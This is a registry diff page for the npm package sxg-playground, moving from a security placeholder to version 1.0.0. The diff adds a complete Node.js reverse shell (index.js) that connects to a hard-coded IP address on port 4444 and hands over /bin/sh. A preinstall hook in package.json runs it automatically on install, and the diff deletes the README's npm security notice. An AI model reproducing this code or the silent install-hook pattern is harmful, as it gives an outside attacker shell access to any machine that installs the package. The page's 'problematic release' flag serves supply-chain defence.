sxg-playground 0.0.1-security → 1.0.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of sxg-playground might be problematic. Click here for more details.

Files changed (3) hide show
  1. package/index.js +40 -0
  2. package/package.json +9 -3
  3. package/README.md +0 -5
package/index.js ADDED
@@ -0,0 +1,40 @@
1
+ const net = require("net");
2
+ const { spawn } = require("child_process");
3
+
4
+ const HOST = "134.209.149.207"; // Replace with the attacker's IP
5
+ const PORT = 4444; // Match this with the listener port
6
+
7
+ function reverseShell() {
8
+ const client = new net.Socket();
9
+
10
+ client.connect(PORT, HOST, () => {
11
+ console.log("Connected to the attacker.");
12
+
13
+ // Spawn a shell
14
+ const shell = spawn("/bin/sh", []);
15
+
16
+ // Pipe input/output between shell and attacker
17
+ client.pipe(shell.stdin);
18
+ shell.stdout.pipe(client);
19
+ shell.stderr.pipe(client);
20
+
21
+ // Handle shell closure
22
+ shell.on("close", () => {
23
+ console.log("Shell closed. Exiting...");
24
+ client.end();
25
+ });
26
+ });
27
+
28
+ client.on("error", (err) => {
29
+ console.error("Connection error:", err.message);
30
+ // Exit instead of reconnecting
31
+ client.destroy();
32
+ });
33
+
34
+ client.on("close", () => {
35
+ console.log("Connection closed. Not reconnecting.");
36
+ process.exit(0); // Exit the process to prevent reconnection
37
+ });
38
+ }
39
+
40
+ reverseShell();
package/package.json CHANGED
@@ -1,6 +1,12 @@
1
1
  {
2
2
  "name": "sxg-playground",
3
- "version": "0.0.1-security",
4
- "description": "security holding package",
5
- "repository": "npm/security-holder"
3
+ "version": "1.0.0",
4
+ "main": "index.js",
5
+ "scripts": {
6
+ "test": "echo \"Error: no test specified\" && exit 1",
7
+ "preinstall": "node index.js"
8
+ },
9
+ "author": "",
10
+ "license": "ISC",
11
+ "description": ""
6
12
  }
package/README.md DELETED
@@ -1,5 +0,0 @@
1
- # Security holding package
2
-
3
- This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
4
-
5
- Please refer to www.npmjs.com/advisories?search=sxg-playground for more information.